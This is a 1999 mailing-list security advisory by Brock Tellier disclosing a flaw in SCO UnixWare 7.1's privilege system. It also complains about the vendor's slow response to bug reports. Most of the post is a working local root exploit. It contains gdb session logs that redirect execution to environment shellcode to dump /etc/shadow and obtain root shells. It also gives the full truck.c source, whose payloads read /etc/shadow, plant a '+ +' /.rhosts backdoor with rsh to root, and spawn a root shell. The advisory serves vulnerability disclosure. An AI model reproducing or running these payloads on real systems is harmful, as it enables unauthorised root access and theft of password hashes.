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Fundamental flaw in UnixWare 7 security
From: btellier () USA NET (Brock Tellier)
Date: Fri, 10 Dec 1999 10:39:34 MST


Greetings,

OVERVIEW
A flaw in SCO UnixWare's security model will allow any user to gain root, read
system files, etc.

RANT
I'm sure many of you are wondering what the response from the people from SCO
has been regarding all of these UnixWare problems.  Nil.  First, a little
background.  Back when I began my UnixWare audit with the dos7utils exploit, I
was contacted and asked to please submit any bugs I find to the UnixWare
security team.  Of course I had no problem with this, since my goal is
supposedly the same as theirs: to secure UnixWare.  I immediately submitted my
su and uidadmin exploits and told then about the gethostbyname() overflow.  I
was told that these were "known" bugs (known, evidently, to SCO only) and
nothing more.

I foolishly assumed that this meant they were working on a fix but did not
have one ready.  It turns out that what they meant by this was "We have a fix
ready, but we are going to sit on it until it becomes public."  SCO had
completely abused my decision to submit to them then wait for a fix.  Anyone
notice how quickly they got out the gethostbyname(), su and uidadmin fixes but
have yet to fix the other problems I've found but didn't tell them about? 
Chances are excellent that if I had never posted these exploits, crackers
would've continued exploiting UnixWare until SCO silently fixed the problems
in 7.2.  

Wake up, SCO!  The underground cracker community is already exploiting all the
problems I'm finding!  You're only hurting your customers by waiting until the
next release, or until someone posts publicly.  Take a proactive stance on
security by finding problems internally (or with the help of people like me)
and then tell the world at large.  To assume that you 

and I are the only ones capable of finding these holes is an insult to your
customers.

I've yet to recieve a word from SCO about my recent slew of exploits.  My
guess is that they were just happy to buy a few months of time before I
started posting.

BACKGROUND
Please read my "uidadmin + discussion" advisory for more information about
UnixWare's privileged process system.  The techniques discussed herein have
only been tested on SCO UnixWare 7.1.  While earlier versions of UW are
probably affected, SCO OpenServer does not use this particular security model
and are therefore not affected.

DETAILS
As Aleph One put it, in his response to my Vuln-Dev post:

...
SCO has implemented privileges in UnixWare without thinking of possible
interaction with other subsystems. They should have placed the same
restriction on application running with privileges as those placed on
applications running suid or sgid. I am surprised no one before noticed this.
Its a hole you could drive a truck through. The engineers that coded 

the privilege system (a security subsystem!) should get a good ass chewing or
get fired.
...

Indeed this is true.  This security subsystem *itself*, not the programs
encompassed by it, has cause more compromises than all the problems I found in
the suid/sgids.  Consider that a privileged program which is simply 

void main() {
printf("sekure\n");
}

can be compromised just as readily one which is 10000 lines of spaghetti code.
 The specific problem lies in the fact that any user who runs one of these
privileged processes (that are not suid/sgid, but are in
/etc/security/tcb/privs) has full control over the process.  By 

using a debugger, we can stop the program, insert registers and control
program flow.  Any program in the privs file which is not also suid/sgid is
vulnerable to this exploit, regardless of whatever overflows and symlink
vulnerabilities may or may not exist.

EXPLOIT

The exploit goes like this:
- Put nops+shellcode into your environment
- load a program which gains privs in /etc/security/tcb/privs with gdb
- set a breakpoint at _init
- run, and when we hit that breakpoint change our eip to point into our  
environment
- continue, continue, rootshell

Get GDB for UnixWare binaries from ftp.freebird.org

Thanks to the teso folks for their suggestions.

----- DACREAD -----
bash-2.02$ ./truck 1

UnixWare 7.1 security model exploit
Brock Tellier btellier () usa net

$ ./gdb /usr/ucb/w
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (unixware2), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) break _init
Breakpoint 1 at 0x804ac34
(gdb) run
Starting program: /usr/ucb/w 

Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to process 3257]
warning: shared library handler failed to enable breakpoint

Breakpoint 1, 0x804ac34 in _init ()
(gdb) disassemble
Dump of assembler code for function _init:
0x804ac34 <_init>:      ret    
End of assembler dump.
(gdb) info registers
eax            0x0      0
ecx            0x8      8
edx            0x804ac38        134523960
ebx            0x804644c        134505548
esp            0x804643c        134505532
ebp            0x8046440        134505536
esi            0x804bc3c        134528060
edi            0x8046454        134505556
eip            0x804ac34        134523956
eflags         0x100212 1049106
cs             0x17     23
ss             0x1f     31
ds             0x1f     31
es             0x1f     31
fs             0x0      0
gs             0x0      0
(gdb) set $eip = 0x8046b75
(gdb) continue
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0xbff99a40 in errno ()
(gdb) continue
Continuing.
root:bahbapXFxhypF:10935::::::
daemon:NP:6445::::::
bin:NP:6445::::::
....
Program exited normally.
(gdb) 

---- DACWRITE ----
bash-2.02$ ./truck 2

UnixWare 7.1 security model exploit
Brock Tellier btellier () usa net

$ ./gdb /usr/bin/getdev
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (unixware2), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) break _init
Breakpoint 1 at 0x830e740
(gdb) run
Starting program: /usr/bin/getdev 

Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to process 3271]
warning: shared library handler failed to enable breakpoint

Breakpoint 1, 0x830e740 in _init ()
(gdb) disassembe
Undefined command: "disassembe".  Try "help".
(gdb) disassemble
Dump of assembler code for function _init:
0x830e740 <_init>:      ret    
End of assembler dump.
(gdb) set $eip = 0x8046b75
(gdb) continue
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0xbff99a40 in errno ()
(gdb) continue
Continuing.
# id
uid=0(root) gid=3(sys)
groups=0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),7(tty),8(audit),10(nuucp),12(da

emon),23(cron),25(dtadmin),47(priv),9(lp)
#  

---- SETUID ----
bash-2.02$ ./truck 3

UnixWare 7.1 security model exploit
Brock Tellier btellier () usa net

$ ./gdb /usr/ucb/lpr
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (unixware2), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) break _init
Breakpoint 1 at 0x805036c
(gdb) run
Starting program: /usr/ucb/lpr 

Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to process 3302]
warning: shared library handler failed to enable breakpoint

Breakpoint 1, 0x805036c in _init ()
(gdb) disassemble
Dump of assembler code for function _init:
0x805036c <_init>:      ret    
End of assembler dump.
(gdb) set $eip = 0x8046b75
(gdb) continue
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0xbff99a40 in errno ()
(gdb) continue
Continuing.
# id
uid=0(root) gid=1(other)
groups=0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),7(tty),8(audit),10(nuucp),12(da

emon),23(cron),25(dtadmin),47(priv),9(lp)
# 

--- truck.c ---
/** 
 ** "Its a hole you could drive a truck through." 
 **                        -Aleph One
 **
 ** truck.c UnixWare 7.1 security model exploit
 ** Demonstrates how we own privileged processes 
 ** 
 ** Usage: cc -o truck truck.c
 ** ./truck <filetype>  where filetype is 1, 2 or 3 
 ** (for dacread, dacwrite and setuid, respectively)
 **
 ** This will put $XNEC in the environment and run a shell.
 ** From there you must use gdb/debug to load a file of the
 ** type you chose (by checking /etc/security/tcb/privs)
 ** and setting a breakpoint at _init via "break _init".
 ** When you "run" and break at _init, change your EIP
 ** to something between 0x8046000 and 0x8048000 with 
 ** "set $eip = 0x8046b75" and "continue" twice.
 **
 **
 ** Brock Tellier btellier () usa net
 **/ 

#include <stdlib.h>
#include <stdio.h>

char scoshell[]= /* This isn't a buffer overflow! really! */
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/tmp/sm\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

                       
#define LEN 3500
#define NOP 0x90

#define DACWRITE "void main() { system(\"echo + + > /.rhosts; chmod 700 \
/.rhosts; chown root:sys /.rhosts; rsh -l root localhost sh -i \
\"); }\n"
#define DACREAD  "void main() { system(\"cat /etc/shadow\");}\n"
#define SETUID  "void main() { setreuid(0,0);system(\"/bin/sh\"); }\n"

void usage(int ftype) {
    fprintf(stderr, "Error: Usage: truck [filetype]\n");
    fprintf(stderr, "Where filetype is one of the following: \n");
    fprintf(stderr, "1 dacread\n2 dacwrite\n3 setuid\n");
    fprintf(stderr, "Note: if file has allprivs, use setuid\n");
}
void buildsm(int ftype) {
  FILE *fp;
  char cc[100];
  fp = fopen("/tmp/sm.c", "w");

  if (ftype == 1) fprintf(fp, DACREAD);
    else if(ftype == 2) fprintf(fp, DACWRITE);
    else if(ftype == 3) fprintf(fp, SETUID);

  fclose(fp);
  snprintf(cc, sizeof(cc), "cc -o /tmp/sm /tmp/sm.c");
  system(cc);

}

int main(int argc, char *argv[]) {

int i;
int buflen = LEN;
char buf[LEN]; 
int filetype = 0;
char filebuf[20]; 

 if(argc > 2 || argc == 1) {
    usage(filetype);
    exit(0); 
 }

 if ( argc > 1 ) filetype=atoi(argv[1]);
 if ( filetype > 3 || filetype < 1 ) { usage(filetype); exit(-1); }
 buildsm(filetype);

fprintf(stderr, "\nUnixWare 7.1 security model exploit\n");
fprintf(stderr, "Brock Tellier btellier () usa net\n\n");

memset(buf,NOP,buflen);
memcpy(buf+(buflen - strlen(scoshell) - 1),scoshell,strlen(scoshell));

memcpy(buf, "XNEC=", 5);
putenv(buf);
buf[buflen - 1] = 0;

system("/bin/sh");
exit(0);
}
------

Brock Tellier
UNIX Systems Administrator
Chicago, IL, USA
btellier () usa net

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